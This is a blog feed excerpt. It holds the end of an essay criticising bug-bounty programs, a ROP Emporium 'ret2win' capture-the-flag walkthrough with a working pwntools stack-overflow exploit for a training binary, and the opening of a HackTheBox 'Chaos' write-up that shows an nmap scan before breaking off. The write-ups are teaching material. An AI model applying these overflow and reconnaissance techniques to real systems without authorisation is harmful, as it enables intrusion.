&lt;p&gt;To sum it up, I believe that for a small percentage of people, bounties are a nice-to-have source of income if -and only if- there is minimal amount of work put into it. They are not the most optimal way of learning or to make money for the majority of the people. If you are out of work and you are looking to earn some money before you find another job, I would argue that it is a much, much better investment to spin up a couple of virtual machines and learn about some popular topics rather than investing hundreds of hours (because this is most likely what takes an inexperienced person) in the hope of getting some $200-1000 bounty, without learning too much in the process. I would argue that a $50 book read and practiced cover-to-cover (for example &lt;a href=&quot;https://www.wiley.com/en-us/The+Browser+Hacker%27s+Handbook-p-9781118662090&quot;&gt;this&lt;/a&gt; in 200 hours will give you a way bigger edge in job hunting (for an appsec position, for example) than having 2 medium bugs found within the same time (and I am being overly optimistic here).&lt;/p&gt;

&lt;h2 id=&quot;the-social-and-political-aspects&quot;&gt;The Social and Political aspects&lt;/h2&gt;

&lt;p&gt;So far we have discussed mostly technical aspects, but I think it’s equally, or maybe even more, important to discuss the social and political implications of these programs.
Bug-bounties in fact do not exist in a vacuum, they exist within a specific social context made of workers and organizations with different (and often) contrasting interests, made of budgets (in terms of money and time) and so on.&lt;/p&gt;

&lt;h3 id=&quot;the-power-unbalance&quot;&gt;The Power Unbalance&lt;/h3&gt;

&lt;p&gt;My first and main issue with these programs is that all the workers’ rights are completely destroyed. This is one of the selling point of bug-bounties according to the picture I included at the beginning: you don’t need to pay for the time spent, you pay for the result. This means that you are not paid for the work you do, you are paid if -and only if- the outcome of your work is deemed useful by the company at its sole discretion. The company decides that your bug is somehow not in scope for the program? Tough luck. The company already got that bug reported (in many cases, you wouldn’t know)? Tough luck.&lt;/p&gt;

&lt;p&gt;You, as a person doing actual work that benefits the company, have no right, whatsoever. I also want to remind here that finding no issues in a given system is already a valuable result for the company. As an organization, you will get at least some level of confidence that no trivial bug exists (for a given class) in a given part of my systems, at a given point in time. Exactly like having a clean penetration test result is a very valuable (and pursued) result.&lt;/p&gt;

&lt;p&gt;In case of bounties, you are on your own. You might spend hundreds of hours testing the systems of an organization, a task that by itself would cost 2 months of salary for a professional, and you are doing it for free. Nothing guarantees you that that time will be actually paid, and if it’s going to get paid, it might be paid an extremely low amount for the hours invested.&lt;/p&gt;

&lt;p&gt;This power unbalance is not just perceived by me because of my political views, it has very concrete implications and visible symptoms. There are many horror stories from security researchers, from a classic &lt;a href=&quot;http://www.exfiltrated.com/research-Instagram-RCE.php&quot;&gt;Facebook&lt;/a&gt; story, in which a “misunderstanding” lead to Facebook reaching to the researcher’s employer, to &lt;a href=&quot;https://thezerohack.com/apple-vulnerability-bug-bounty&quot;&gt;Apple&lt;/a&gt; refusing to pay and many others.
The common denominator here is that you have no guarantees whatsoever not only that you are going to find something, but even that you will be paid for that something, or that you will be paid fairly for it. The power is completely in the hands of the company running the program.&lt;/p&gt;

&lt;p&gt;Another aspect with this unbalance is the Intellectual Property right. For example, you might think that if the company decides without (in your opinion) proper motivation not to pay you, to underpay you or simply ignores your report, you might publish (or sell) the findings you reported. This in some cases is not really ethical but it would give &lt;em&gt;some&lt;/em&gt; leverage to the researcher and will force the company to attribute proper value to the reported findings.
However, if we look for example at &lt;a href=&quot;https://www.hackerone.com/terms&quot;&gt;HackerOne&lt;/a&gt; T&amp;amp;C we will see:&lt;/p&gt;

&lt;p&gt;“Subject to HackerOne’s ownership of any HackerOne Property contained therein, &lt;strong&gt;the Customer will own all right, title, and interest to each Customer Report&lt;/strong&gt;. HackerOne hereby grants the Customer a non-exclusive, non-transferable, perpetual, worldwide license to access, use, and reproduce any HackerOne Property included in each Customer Report.”&lt;/p&gt;

&lt;p&gt;Similarly, in &lt;a href=&quot;https://www.bugcrowd.com/resource/standard-disclosure-terms/&quot;&gt;BugCrowd&lt;/a&gt; T&amp;amp;C we see:&lt;/p&gt;

&lt;p&gt;“For the purposes of this section, “Testing Results” means information about vulnerabilities discovered on the Target Systems discovered, found, observed or identified by Researchers” and “Target Systems” are the applications and systems that are the subject of the Testing Services.&lt;/p&gt;

&lt;p&gt;You hereby agree and warrant that you will disclose all of the Testing Results found or identified by you (“your Testing Results”) to Bugcrowd. Furthermore, you hereby assign to Bugcrowd and agree to assign to Bugcrowd any and all of your Testing Results and rights thereto.”&lt;/p&gt;

&lt;p&gt;Basically the moment you report anything, you also give up the intellectual property right for anything you have produced, and you do so unconditionally. This means that you expose yourself legally if you decide to take any action against an unfair treatment (for example, publishing on your own the bug) and of course you potentially jeopardize your ability to continue “working” as a hunter in the future on the same platform. It doesn’t matter that the fault might have been the company’s, you have no protection. I have picked two of the biggest platforms just as an example, but I am sure that the same applies to many if not all the other major platforms as well.&lt;/p&gt;

&lt;p&gt;This framing of security research is &lt;em&gt;still an improvement&lt;/em&gt; from the criminalization that used to happen not too long ago (and that still happens nowadays), but it is far from an ideal solution or an optimal result.&lt;/p&gt;

&lt;h3 id=&quot;platforms&quot;&gt;Platforms&lt;/h3&gt;

&lt;p&gt;My second issue with these programs, very much linked to the previous, is the fact that the bounty programs, for how they are organized today, encourage the parasitic platform capitalism. What I mean by that is that (again, for how they are built right now) these programs require a middleman which does not directly perform any work, but leeches on the work done both by the company (through some subscription fee) and by the researchers (through a cut in the reward) in order to generate profit. The platform itself is not necessary, once built it has basically no cost (whatever might cost to run a website), but it extracts profit from the work of others.&lt;/p&gt;

&lt;p&gt;The issues with Platform Capitalism are much better discussed by Srnicek in his &lt;a href=&quot;https://www.wiley.com/en-ie/Platform+Capitalism-p-9781509504862&quot;&gt;book&lt;/a&gt;, which I highly recommend, so I won’t dig too much in why this is a problem.&lt;/p&gt;

&lt;p&gt;Why such platforms need to be for profit and -most importantly- why would we need so many of them? We have plenty of public or kind-of-public institutions that deal with Cyber Security. For example, why can’t a public platform be developed, open sourced and then run independently by national CERTs, or maybe even centralized? I personally do not see any notable advantage in using BugCrowd versus using HackerOne or one of the other many platforms, they are functionally identical. The difference is that a for-profit company is behind each one of them, which is part of the reason for the unbalance of power discussed earlier: a for-profit company will always be incentivized to protect the paying customer (which is the company sponsoring the program), while a semi-public institution could be a more impartial referee in potential conflicts. Furthermore, having to sign up to tens of platforms, each with its own rules, is unnecessarily annoying for researchers as well.&lt;/p&gt;

&lt;h3 id=&quot;labor&quot;&gt;Labor&lt;/h3&gt;

&lt;p&gt;The final argument in terms of the socio-political implication has to do with labor. This is probably the most obvious reason, but doing bug bounties is essentially doing free labor (except &lt;em&gt;if&lt;/em&gt; something is found), without a contract and without any guarantee. Of course everyone is free to perform free labor, but it is worth reasoning on the implication that this has as well.
bug bounty platforms &lt;em&gt;will&lt;/em&gt; push for security done through their programs &lt;em&gt;rather&lt;/em&gt; than through penetration tests or security audits. Whether they will have success is debatable, but the implications are pretty clear: we are replacing workers, with a given salary and guarantees, with a number of workers that are not paid for their labor but are paid only for their (not guaranteed) results, and paid in a non-predictable way as well. This is obviously a step back in wealth distribution, it is a step back in stability and as workers, we should actively fight this narrative. In fact, as a security professional, I feel this is my duty as well, and one of the reasons why I decided to write this post on the first place.&lt;/p&gt;

&lt;p&gt;One of the most disturbing facts is that the companies that get more of this free labor are the companies that if not “don’t deserve it”, at the very least don’t need it: Google, Facebook, Twitter, Apple, etc. 
This is because it gives more ‘street cred’ finding a bug in Google than in my blog and probably because they also pay better (on paper) for findings. However, these are companies that have plenty of resources to pay internal teams and are also the ‘innovators’, who maybe should be the ones leading the solution to the problems addressed in this post: how to pay researches for the work they have done, and not for the individual findings this work generated.&lt;/p&gt;

&lt;p&gt;I don’t want to sound catastrophist, I don’t believe that tomorrow, or in a year, or in 10 years, companies will fire internal (offensive) security teams and replace them with bug bounties programs. This is not realistic of course. However, it’s possible that the internal teams might be 5-10% smaller than what they could be, because the company for example outsources the assessment of some part of their systems (public web applications, for example), to bug hunters. If this was the case, we are talking about replacing high-paying stable jobs with essentially free labor. We are talking about more pressure on the job market, which in turns will push more people to do free labor to ‘get visibility’ and enrich their CV, and all the similar phenomena way too common already in other fields, from show-business to graphic design, in a vicious circle that will benefit companies and hurt workers.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Within the post I discussed how bug-bounty programs, for how they are run today, are not the best opportunity for learning or to make money. I think that these programs are necessary, in the sense that companies should incentivize researchers to disclose responsibly a bug if they find one, but there are some caveats, which I want to sum up in a few points:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;As a security professional, you should frame the bug-bounty program utility and function in the correct way. Similarly to how you should frame a penetration test in the correct way. A bug-bounty program is useful to give an option to researchers that will find (accidentally or deliberately) a security issue with your systems, and also contributes to the de-criminalization of white hats. They do not represent a security control that makes in any way redundant proper security investments within the company, and an internal offensive security team (for organization of a certain size at least).&lt;/li&gt;
  &lt;li&gt;If you are a security researcher and you are looking for learning opportunities, I think that books, labs, CTFs and auditing (Free - as in speech) Open Source projects are a much better way both from your personal point of view and also from the ethical point of view. Rather than wasting 50 hours to find, maybe, some XSS in some Facebook URL, you might spend 50 hours to do some testing for a FOSS project that actually helps people. Who knows, this might also get you a foot in the door of a community, in addition to the fact that you are way more likely to find vulnerabilities there.&lt;/li&gt;
  &lt;li&gt;If you are a security researcher and you are looking for money, then unless you are &lt;em&gt;really specialized&lt;/em&gt; in some vulnerability class &lt;em&gt;and&lt;/em&gt; you have proper automation (or you intend to build it without having to invest too much) in place to look for those bugs in almost complete autonomy, don’t bother. Rest your mind to perform better during your regular work, spend time in whatever other way you want or if you need to really monetize this job, get started on freelancing, teaching, consulting etc.&lt;/li&gt;
  &lt;li&gt;Finally, if you are a security researcher and you are looking for fun, bug-bounties might be for you. If you get joy in finding a bug, and if you want to stack ‘street creds’, then you might get the benefits of bug hunting. However, even in this situation, let an Internet stranger encourage you to conciliate the ethical motives with the entertainment: there are plenty of software projects and Tech organizations who do, or try to do, good in the world, spend your time there, rather than doing free labor for companies that could pay an army of security researchers if they wanted to (Facebook, Google, Apple, etc.). You will have fun, you will get your CVEs but you will also help people, not only the organization/team (that most likely doesn’t have the concrete means to pay for security professionals yet) but also the people who use those products. For companies you can pick a &lt;a href=&quot;https://github.com/hng/tech-coops&quot;&gt;tech co-op&lt;/a&gt; and for software there are of course so many options that to even scratch the surface, it would take a whole post.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As tech workers, it’s important to consider our work in the bigger context, to consider the implications of our actions, the faults of the current tech environment and to contribute in any way we can to improve it.&lt;/p&gt;
</description>
        <pubDate>Sun, 17 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2022/about-bug-bounties/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2022/about-bug-bounties/</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium - ret2win</title>
        <description>&lt;h1 id=&quot;rop-emporium-volume-1&quot;&gt;ROP Emporium Volume 1&lt;/h1&gt;

&lt;p&gt;This is the first blog post that I decided to write down about the challenges that you can find
on &lt;a href=&quot;https://ropemporium.com&quot;&gt;ROP Emporium&lt;/a&gt;. This post is about the first and easiest
challenge: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret2win&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;description-of-the-challenge&quot;&gt;Description of the challenge&lt;/h2&gt;

&lt;p&gt;The first challenge is the easiest. There is a function in the code that prints the flags for
us, and all we need to do is calling it via a very simple ROP chain.&lt;/p&gt;

&lt;h2 id=&quot;preliminary-steps&quot;&gt;Preliminary steps&lt;/h2&gt;

&lt;p&gt;First of all, we look for the address of the function that needs to be called (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret2win&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;sb&quot;&gt;```&lt;/span&gt;bash
gef➤  disas ret2win
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;ret2win:
   0x0000000000400811 &amp;lt;+0&amp;gt;:     push   rbp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that the function is at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x400811&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Despite the fact that running the binary, we get good information about what to do&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
What could possibly go wrong?
You there madam, may I have your input please? And don&lt;span class=&quot;s1&quot;&gt;&apos;t worry about null bytes, we&apos;&lt;/span&gt;re using fgets!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;it is still more convenient to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gef&lt;/code&gt; (or similar GDB extensions) to get the precise offset at
which the overflow happens.&lt;/p&gt;

&lt;p&gt;First, we create a pattern of 150 bytes (60 would have been more than enough).&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  pattern create 150
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Generating a pattern of 150 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Saved as &lt;span class=&quot;s1&quot;&gt;&apos;$_gef0&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, we run the program and we pass the pattern as input.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  r
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
What could possibly go wrong?
You there madam, may I have your input please? And don&lt;span class=&quot;s1&quot;&gt;&apos;t worry about null bytes, we&apos;&lt;/span&gt;re using fgets!

&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point the process crashes as expected. We want to get the content of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$rsp&lt;/code&gt; now and
determine the offset for the overflow.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  x /xg &lt;span class=&quot;nv&quot;&gt;$rsp&lt;/span&gt;
0x7fffffffe418: 0x6161616161616166
gef➤  pattern search 0x6161616161616166
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Searching &lt;span class=&quot;s1&quot;&gt;&apos;0x6161616161616166&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Found at offset 40 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;little-endian search&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; likely
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Found at offset 33 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;big-endian search&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we have 40 bytes of garbage to fill and then we need to put the address of the ret2win function.
This will make sure that the saved return address will contain the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret2win&lt;/code&gt;
function, and the program will conveniently execute the function for us.&lt;/p&gt;

&lt;p&gt;The exploit then will look as follows:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pwn&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;terminal&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;tmux&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;new-window&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;linux&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arch&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;amd64&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;./ret2win&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Address of ret2win function
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret_win&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x400811&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Padding
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Payload
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret_win&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recvuntil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;fgets!&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sendline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Read or get interactive session, it doesn&apos;t matter
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interactive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Running the exploit works fairly smoothly&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/ropemporium/ret2win# python exploit.py
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Starting &lt;span class=&quot;nb&quot;&gt;local &lt;/span&gt;process &lt;span class=&quot;s1&quot;&gt;&apos;./ret2win&apos;&lt;/span&gt;: pid 24539
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; Switching to interactive mode


&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; Thank you! Here&lt;span class=&quot;s1&quot;&gt;&apos;s your flag:ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

</description>
        <pubDate>Thu, 07 Nov 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/ROPEmporium-ret2win/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/ROPEmporium-ret2win/</guid>
        
        
      </item>
    
      <item>
        <title>HTB - Chaos writeup</title>
        <description>&lt;h2 id=&quot;hackthebox-chaos&quot;&gt;HackTheBox Chaos&lt;/h2&gt;

&lt;h4 id=&quot;introduction&quot;&gt;Introduction&lt;/h4&gt;

&lt;p&gt;Around a month ago I started playing with &lt;a href=&quot;hackthebox.eu&quot;&gt;HackTheBox&lt;/a&gt; which is a site very similar to Vulnhub. The main difference is that the 20 available machines do not have published solutions. This makes exploiting them more challenging, and it is also the reason why I am publishing right now the writeup of one of the 9 machines I managed to root during this time, as Chaos has been retired about a week ago.&lt;/p&gt;

&lt;h4 id=&quot;chaos&quot;&gt;Chaos&lt;/h4&gt;

&lt;p&gt;Chaos was overall a fun machine, and definitely taught me something about email protocols and a few other things.&lt;/p&gt;

&lt;p&gt;As always, I started from classic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap&lt;/code&gt; recon.&lt;/p&gt;

&lt;h4 id=&quot;nmap&quot;&gt;Nmap&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/chaos# nmap &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p-&lt;/span&gt; 10.10.10.120
Starting Nmap 7.70 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2019-05-04 06:46 EDT
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.120
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.054s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 65529 closed ports
PORT      STATE SERVICE           VERSION
80/tcp    open  http?
110/tcp   open  pop3?
| fingerprint-strings: 
|   GenericLines, NULL: 
|_    +OK Dovecot &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ready.
143/tcp   open  imap              Dovecot imapd &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
993/tcp   open  imaps?
995/tcp   open  pop3s?
10000/tcp open  snet-sensor-mgmt?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7.70%I&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7%D&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5/4%Time&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;5CCD6DB3%P&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;x86_64-pc-linux-gnu%r&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;NULL
SF:,1D,&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\+&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20Dovecot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Ubuntu&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\)\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20ready&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;%r&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GenericLines,1D,&lt;span class=&quot;s2&quot;&gt;&quot;
SF:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\+&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;OK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20Dovecot&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Ubuntu&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\)\x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;20ready&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\.\r\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
Device &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;: firewall
Running &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;JUST GUESSING&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: Fortinet embedded &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;87%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
OS CPE: cpe:/h:fortinet:fortigate_100d
Aggressive OS guesses: Fortinet FortiGate 100D firewall &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;87%&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
No exact OS matches &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;host &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;test &lt;/span&gt;conditions non-ideal&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Service Info: OS: Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;using port 256/tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
HOP RTT    ADDRESS
1   ... 30

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Nmap &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;: 1 IP address &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;1 host up&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; scanned &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;183.20 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we can see that there are a few open ports:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;80 - HTTP&lt;/li&gt;
  &lt;li&gt;110/995 - pop3(s)&lt;/li&gt;
  &lt;li&gt;143/996 - imap(s)&lt;/li&gt;
  &lt;li&gt;10000 - webmin&lt;/li&gt;
